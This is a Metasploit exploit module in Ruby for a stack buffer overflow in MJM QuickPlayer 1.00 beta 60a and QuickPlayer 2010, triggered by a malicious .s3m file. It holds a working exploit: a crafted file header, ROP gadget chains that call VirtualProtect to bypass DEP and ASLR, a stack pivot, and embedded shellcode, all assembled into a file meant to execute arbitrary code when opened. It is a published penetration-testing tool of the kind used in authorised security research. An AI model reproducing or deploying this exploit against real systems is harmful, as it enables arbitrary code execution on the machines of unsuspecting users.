MJM QuickPlayer 1.00 beta 60a / QuickPlayer 2010 .s3m Stack Buffer Overflow

`##  
# $Id: mjm_quickplayer_s3m.rb 12474 2011-04-30 02:37:14Z sinn3r $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'MJM QuickPlayer 1.00 beta 60a / QuickPlayer 2010 .s3m Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in MJM QuickPlayer 1.00 beta 60a  
and QuickPlayer 2010 (Multi-target exploit). When opening a malicious s3m file in  
one of these 2 applications, a stack buffer overflow can be triggered, resulting in  
arbitrary code execution.  
  
This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.   
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'rick2600', #found the vulnerabilities  
'corelanc0d3r', #rop exploit + msf module  
],  
'Version' => '$Revision: 12474 $',  
'References' =>  
[  
[ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-003' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 2339, #about 0x900 bytes  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows Universal Generic DEP & ASLR Bypass',  
{  
'OffSet1' => 819, #QuickPlayer 2010.exe  
'OffSet2' => 1019, #qplayer.exe  
'Ret' => 0x1000156f, #QuickPlayer 2010.exe : RET, qplayer.exe ADD AL,5B + POP + RET 4  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Apr 30, 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 's3m file', 'song.s3m']),  
], self.class)  
end  
  
def junk  
return rand_text(4).unpack("L")[0].to_i  
end  
  
def exploit  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
header = "\x42\x42\x42\x42\x42\x42\x42\x42\x41\x41\x41\x41\x41\x41\x41\x41"  
header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x10\x00\x00"  
header << "\x24\x00\x00\x01\x00\x0d\x08\x00\x20\x13\x02\x00\x53\x43\x52\x4d"  
header << "\x40\x06\x94\xb0\x10\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
header << "\x00\x08\x01\x09\x02\x0a\x03\x0b\x04\x0c\xff\xff\xff\xff\xff\xff"  
header << "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"  
header << "\x06\x00\x03\x01\x02\x04\x05\x07\x08\x09\x09\x0a\x0b\x0c\x0d\x0e"  
header << "\x0f\x10\x10\x11\x12\x13\x14\x15\x16\x16\x17\x18\x19\x18\x1a\x1b"  
header << "\x1b\x1c\xff\xff\x13\x00\x18\x00\x1d\x00\x22\x00\x27\x00\x2c\x00"  
header << "\x31\x00\x36\x00\x3b\x00\x40\x00\x45\x00\x4a\x00\x4f\x00\x54\x00"  
header << "\x59\x00\x5e\x00\x63\x00\x68\x00\x6d\x00\x72\x00\x77\x00\x7c\x00"  
header << "\x81\x00\x86\x00\x8b\x00\x90\x00\x95\x00\x9a\x00\x9f\x00\xa4\x00"  
header << "\xa9\x00\xae\x00\xb3\x00\xb8\x00\xbd\x00\xc2\x00\xc7\x00\xcc\x00"  
header << "\xd1\x00\xd6\x00\xdb\x00\xe0\x00\x14\x01\x4d\x01\x87\x01\xc0\x01"  
header << "\x0e\x02\x5a\x02\x9a\x02\xe9\x02\x40\x03\x7f\x03\xc0\x03\x01\x04"  
header << "\x28\x04\x52\x04\x86\x04\xb9\x04\xea\x04\x1a\x05\x41\x05\x6e\x05"  
header << "\x96\x05\xbc\x05\xeb\x05\x25\x06\x78\x06\xcc\x06\x21\x07\x72\x07"  
header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
header << "\x01"  
  
  
footer = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"  
footer << "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"  
footer << "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"  
footer << "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0"  
footer << "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"  
footer << "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff"  
footer << "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d"  
footer << "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b"   
footer << "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44"  
footer << "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"  
footer << "\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68"  
footer << "\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95"   
footer << "\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"  
footer << "\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x00"  
footer << "\x00\x00\x00\x00\x00\x00\x00\x00"  
  
print_status("Preparing payload")  
  
pivot = [target.ret].pack('V')  
  
rop_gadgets_quickplayer =  
[  
# pvefindaddr rop 'n roll  
0x004c0021, # POP ECX # RETN  
0x00000000,  
0x0042850e, # PUSH ESP # ADD EDI,EDI # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0C  
junk,  
junk,  
junk,  
0x00461248, # MOV EAX,EDI # POP EDI # POP ESI # RETN  
junk,  
junk,  
junk,  
junk,  
junk,  
0x004ac31d, # POP EBX # RETN  
0x00000900,  
0x004a8032, # POP ESI # RETN  
0x00000080,  
0x10009ea7, # ADD EAX,ESI # POP ESI # RETN  
junk,  
0x004def0d, # XCHG EAX,EBP # RETN  
0x004c0145, # POP EAX # RETN  
0x005da1a0, # VirtualProtect  
0x00408242, # MOV EAX,DWORD PTR DS:[EAX] # RETN  
0x0052001a, # XCHG EAX,ESI # RETN 00  
0x004c0729, # POP EDX # RETN  
0x00000040,  
0x004c0021, # POP ECX # RETN  
0x00401000, # RW  
0x00448142, # POP EDI # RETN  
0x004ae7ce, # RET  
0x004c0145, # POP EAX # RETN  
0x004ae7ce, # RET  
0x0052158e, # PUSHAD # RETN 00  
].pack("V*")  
  
rop_gadgets_qplayer =   
[  
junk,  
0x00434069, # POP ECX # RETN QPlayer.exe  
junk,  
0x00000000,  
0x0047e1db, # XOR ECX,ESP # RETN QPlayer.exe  
0x10005dad, # MOV EAX,ECX # POP EBX # RETN 08 QPlayer.lay  
0x00000900,  
0x0043adfd, # POP ESI # RETN 04 QPlayer.exe  
junk,  
junk,  
0x00000080,  
0x1000591a, # ADD EAX,ESI # POP EDI # POP ESI # POP EBP # RETN 0C QPlayer.lay  
junk,  
junk,  
junk,  
junk,  
0x00434e95, # XCHG EAX,EBP # RETN QPlayer.exe  
junk,  
junk,  
junk,  
0x10005054, # POP EAX # RETN QPlayer.lay  
0x004bfe64, # VirtualProtect  
0x10009050, # MOV EAX,DWORD PTR DS:[EAX] # RETN QPlayer.lay  
0x004bc675, # XCHG EAX,ESI # RETN QPlayer.exe  
0x00417a5d, # POP EDX # RETN QPlayer.exe  
0x00000040,  
0x0045feaa, # POP ECX # RETN QPlayer.exe  
0x00401000, # RW  
0x00400ddc, # POP EDI # RETN QPlayer.exe  
0x10006067, # RET QPlayer.exe  
0x004308f5, # POP EAX # RETN QPlayer.exe  
0x10006067, # RET QPlayer.exe  
0x004b4676, # PUSHAD # RETN  
].pack("V*")  
  
  
buffer = rand_text(target['OffSet1'])  
buffer << pivot  
buffer << rop_gadgets_quickplayer  
delta = target['OffSet2'] - buffer.length - 5  
buffer << make_nops(delta)  
buffer << "\xe9\x90\x00\x00\x00"  
buffer << pivot  
buffer << rop_gadgets_qplayer  
buffer << make_nops(100)  
buffer << payload.encoded  
  
filecontent = header + buffer + footer  
  
print_status("Writing payload to file")  
  
file_create(filecontent)  
  
end  
  
end  
`